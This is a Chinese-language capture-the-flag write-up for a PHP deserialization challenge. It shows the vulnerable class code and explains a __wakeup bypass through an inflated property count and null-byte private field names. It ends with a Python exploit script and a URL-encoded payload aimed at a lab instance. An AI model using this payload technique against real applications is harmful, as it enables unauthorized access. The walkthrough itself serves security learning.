[极客大挑战 2019]PHP
查看class.php
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
index.php中这一部分
<?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>
首先将代码反序列化
<?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a= new Name('admin',100); $b =serialize($a); echo $b; ?> //O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
但是在反序列化时,__wakeup()函数将会被调用,将username的值换为guest
其中name后面的2,代表类中有2个属性,但如果我们把2改成3,就会绕过__wakeup()函数。
此处看了王叹之师傅的博客才知道,因为是private声明,我们需要在类名和字段名前面都会加上\0的前缀:O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
exp:
import requests url ="http://7bc3f84d-1e2f-4a49-897a-15eb4d1d5255.node3.buuoj.cn" html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}') print(html.text)
若不用python提交,直接在url栏提交需在类名和字段名前加%00
payloadO:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}